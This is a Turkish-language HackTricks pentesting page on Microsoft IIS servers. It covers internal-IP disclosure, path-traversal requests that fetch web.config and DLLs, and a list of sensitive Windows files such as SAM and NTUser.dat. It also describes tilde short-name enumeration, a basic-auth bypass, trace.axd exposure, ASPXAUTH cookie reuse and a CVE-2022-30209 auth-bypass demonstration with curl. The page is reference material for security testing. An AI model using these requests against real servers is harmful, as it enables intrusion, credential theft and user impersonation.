hacktricks/network-services-pentesting/pentesting-web/iis-internet-information-services.md

16 KiB
Raw Blame History

IIS - Internet Information Services

{% hint style="success" %} AWS Hacking öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin
{% endhint %}

Test edilebilir dosya uzantıları:

  • asp
  • aspx
  • config
  • php

Dahili IP Adresi ifşası

302 aldığınız herhangi bir IIS sunucusunda, Host başlığını kaldırmayı deneyebilir ve HTTP/1.0 kullanabilirsiniz; yanıtta Location başlığı size dahili IP adresine işaret edebilir:

nc -v domain.com 80
openssl s_client -connect domain.com:443

İç IP'yi ifşa eden yanıt:

GET / HTTP/1.0

HTTP/1.1 302 Moved Temporarily
Cache-Control: no-cache
Pragma: no-cache
Location: https://192.168.5.237/owa/
Server: Microsoft-IIS/10.0
X-FEServer: NHEXCHANGE2016

.config dosyalarını çalıştırma

.config dosyalarını yükleyebilir ve bunları kod çalıştırmak için kullanabilirsiniz. Bunu yapmanın bir yolu, dosyanın sonuna bir HTML yorumu içinde kod eklemektir: Örneği buradan indirin

Bu güvenlik açığını istismar etmek için daha fazla bilgi ve teknikler burada bulunmaktadır.

IIS Keşif Bruteforce

Oluşturduğum listeyi indirin:

{% file src="../../.gitbook/assets/iisfinal.txt" %}

Aşağıdaki listelerin içeriklerini birleştirerek oluşturuldu:

https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt
http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html
https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt
https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt
https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt

Bunu herhangi bir uzantı eklemeden kullanın, gerekli olan dosyalar zaten buna sahiptir.

Yol Traversal

Kaynak kodunun sızdırılması

Tam yazımı kontrol edin: https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html

{% hint style="info" %} Özetle, uygulamanın klasörlerinde "assemblyIdentity" dosyalarına ve "namespaces" referanslarına sahip birkaç web.config dosyası bulunmaktadır. Bu bilgilerle çalıştırılabilir dosyaların nerede bulunduğunu bilmek ve bunları indirmek mümkündür.
İndirilen Dll'lerden yeni namespaces bulmak ve bunlara erişmeye çalışmak için web.config dosyasını almak da mümkündür.
Ayrıca, connectionstrings.config ve global.asax dosyaları ilginç bilgiler içerebilir.\ {% endhint %}

.Net MVC uygulamalarında, web.config dosyası, uygulamanın bağımlı olduğu her ikili dosyayı "assemblyIdentity" XML etiketleri aracılığıyla belirterek kritik bir rol oynar.

İkili Dosyaları Keşfetme

web.config dosyasına erişim örneği aşağıda gösterilmiştir:

GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded

Bu istek, aşağıdaki gibi çeşitli ayarları ve bağımlılıkları ortaya çıkarır:

  • EntityFramework sürümü
  • Web sayfaları, istemci doğrulaması ve JavaScript için AppSettings
  • Kimlik doğrulama ve çalışma zamanı için System.web yapılandırmaları
  • System.webServer modül ayarları
  • Microsoft.Owin, Newtonsoft.Json ve System.Web.Mvc gibi birçok kütüphane için Runtime derleme bağlamaları

Bu ayarlar, /bin/WebGrease.dll gibi belirli dosyaların uygulamanın /bin klasöründe bulunduğunu gösterir.

Kök Dizin Dosyaları

Kök dizinde bulunan /global.asax ve hassas şifreler içeren /connectionstrings.config gibi dosyalar, uygulamanın yapılandırması ve çalışması için gereklidir.

Ad Alanları ve Web.Config

MVC uygulamaları, her dosyada tekrarlayan bildirimlerden kaçınmak için belirli ad alanları için ek web.config dosyaları tanımlar; bu, başka bir web.config indirme isteği ile gösterilmiştir:

GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded

DLL'leri İndirme

Özel bir ad alanının belirtilmesi, /bin dizininde bulunan "WebApplication1" adlı bir DLL'ye işaret eder. Bunu takiben, WebApplication1.dll indirmek için bir istek gösterilmektedir:

GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded

Bu, /bin dizininde System.Web.Mvc.dll ve System.Web.Optimization.dll gibi diğer önemli DLL'lerin varlığını önerir.

Bir DLL'nin WebApplication1.Areas.Minded adlı bir ad alanını içe aktardığı bir senaryoda, bir saldırgan, /bin klasöründeki diğer DLL'lere özel yapılandırmalar ve referanslar içeren, /area-name/Views/ gibi öngörülebilir yollarla başka web.config dosyalarının varlığını çıkarabilir. Örneğin, /Minded/Views/web.config isteği, başka bir DLL'nin, WebApplication1.AdditionalFeatures.dll varlığını gösteren yapılandırmaları ve ad alanlarınıığa çıkarabilir.

Yaygın dosyalar

Buradan

C:\Apache\conf\httpd.conf
C:\Apache\logs\access.log
C:\Apache\logs\error.log
C:\Apache2\conf\httpd.conf
C:\Apache2\logs\access.log
C:\Apache2\logs\error.log
C:\Apache22\conf\httpd.conf
C:\Apache22\logs\access.log
C:\Apache22\logs\error.log
C:\Apache24\conf\httpd.conf
C:\Apache24\logs\access.log
C:\Apache24\logs\error.log
C:\Documents and Settings\Administrator\NTUser.dat
C:\php\php.ini
C:\php4\php.ini
C:\php5\php.ini
C:\php7\php.ini
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
c:\Program Files (x86)\php\php.ini"
C:\Program Files\Apache Group\Apache\conf\httpd.conf
C:\Program Files\Apache Group\Apache\conf\logs\access.log
C:\Program Files\Apache Group\Apache\conf\logs\error.log
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
C:\Program Files\FileZilla Server\FileZilla Server.xml
C:\Program Files\MySQL\my.cnf
C:\Program Files\MySQL\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
C:\Program Files\php\php.ini
C:\Users\Administrator\NTUser.dat
C:\Windows\debug\NetSetup.LOG
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
C:\Windows\php.ini
C:\Windows\repair\SAM
C:\Windows\repair\system
C:\Windows\System32\config\AppEvent.evt
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\RegBack\system
C:\Windows\System32\config\SAM
C:\Windows\System32\config\SecEvent.evt
C:\Windows\System32\config\SysEvent.evt
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\winevt\Logs\Application.evtx
C:\Windows\System32\winevt\Logs\Security.evtx
C:\Windows\System32\winevt\Logs\System.evtx
C:\Windows\win.ini
C:\xampp\apache\conf\extra\httpd-xampp.conf
C:\xampp\apache\conf\httpd.conf
C:\xampp\apache\logs\access.log
C:\xampp\apache\logs\error.log
C:\xampp\FileZillaFTP\FileZilla Server.xml
C:\xampp\MercuryMail\MERCURY.INI
C:\xampp\mysql\bin\my.ini
C:\xampp\php\php.ini
C:\xampp\security\webdav.htpasswd
C:\xampp\sendmail\sendmail.ini
C:\xampp\tomcat\conf\server.xml

HTTPAPI 2.0 404 Hatası

Eğer aşağıdaki gibi bir hata görüyorsanız:

Bu, sunucunun Host başlığı içinde doğru alan adını almadığı anlamına gelir.
Web sayfasına erişmek için sunulan SSL Sertifikasına bakabilir ve belki orada alan/ad alanı adını bulabilirsiniz. Eğer orada yoksa, doğru olanı bulana kadar VHosts brute force yapmanız gerekebilir.

Bakılması gereken eski IIS zafiyetleri

Microsoft IIS tilde karakteri “~” Zafiyeti/Özelliği Kısa Dosya/Klasör Adı Sızdırma

Bu teknik ile her keşfedilen klasörün içinde klasörleri ve dosyaları listelemeyi deneyebilirsiniz (temel kimlik doğrulama gerektirse bile).
Bu tekniğin ana sınırlaması, sunucu zayıfsa, her dosya/klasörün adının ilk 6 harfini ve dosyaların uzantısının ilk 3 harfini bulabilmesidir.

Bu zafiyeti test etmek için https://github.com/irsdl/IIS-ShortName-Scanner kullanabilirsiniz:java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/

Orijinal araştırma: https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf

Ayrıca metasploit kullanabilirsiniz: use scanner/http/iis_shortname_scanner

Temel Kimlik Doğrulama atlatma

Atlatma bir temel kimlik doğrulama (IIS 7.5) erişmeye çalışarak: /admin:$i30:$INDEX_ALLOCATION/admin.php veya /admin::$INDEX_ALLOCATION/admin.php

Yeni klasörler bulmak ve kimlik doğrulamayı atlatmak için bu zafiyeti ve sonuncusunu karıştırmayı deneyebilirsiniz.

ASP.NET Trace.AXD etkin hata ayıklama

ASP.NET, bir hata ayıklama modu içerir ve dosyası trace.axd olarak adlandırılır.

Bu, bir uygulamaya yapılan tüm isteklerin çok ayrıntılı bir kaydını tutar.

Bu bilgi, uzak istemci IP'leri, oturum kimlikleri, tüm istek ve yanıt çerezleri, fiziksel yollar, kaynak kodu bilgileri ve potansiyel olarak kullanıcı adları ve şifreleri içerir.

https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/

Screenshot 2021-03-30 at 13 19 11

ASPXAUTH Çerezi

ASPXAUTH aşağıdaki bilgileri kullanır:

  • validationKey (string): imza doğrulama için kullanılacak hex kodlu anahtar.
  • decryptionMethod (string): (varsayılan “AES”).
  • decryptionIV (string): hex kodlu başlatma vektörü (varsayılan sıfır vektörüdür).
  • decryptionKey (string): şifreleme için kullanılacak hex kodlu anahtar.

Ancak, bazı insanlar bu parametrelerin varsayılan değerlerini kullanacak ve kullanıcının e-posta adresini çerez olarak kullanacaktır. Bu nedenle, ASPXAUTH çerezini kullanan aynı platformu kullanan bir web bulursanız ve saldırı altındaki sunucuda taklit etmek istediğiniz kullanıcının e-posta adresiyle bir kullanıcı oluşturursanız, ikinci sunucudan çerezi birincisinde kullanma şansınız olabilir ve kullanıcıyı taklit edebilirsiniz.
Bu saldırı bu yazıda çalıştı.

Önbelleğe alınmış şifrelerle IIS Kimlik Doğrulama Atlatma (CVE-2022-30209)

Tam rapor burada: Kodda bir hata, kullanıcı tarafından verilen şifreyi düzgün bir şekilde kontrol etmedi, bu nedenle şifre hash'i önbellekte zaten bulunan bir anahtara denk gelen bir saldırgan, o kullanıcı olarak giriş yapabilecektir.

# script for sanity check
> type test.py
def HashString(password):
j = 0
for c in map(ord, password):
j = c + (101*j)&0xffffffff
return j

assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')

# before the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 401 Unauthorized

# after the successful login
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
HTTP/1.1 200 OK

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}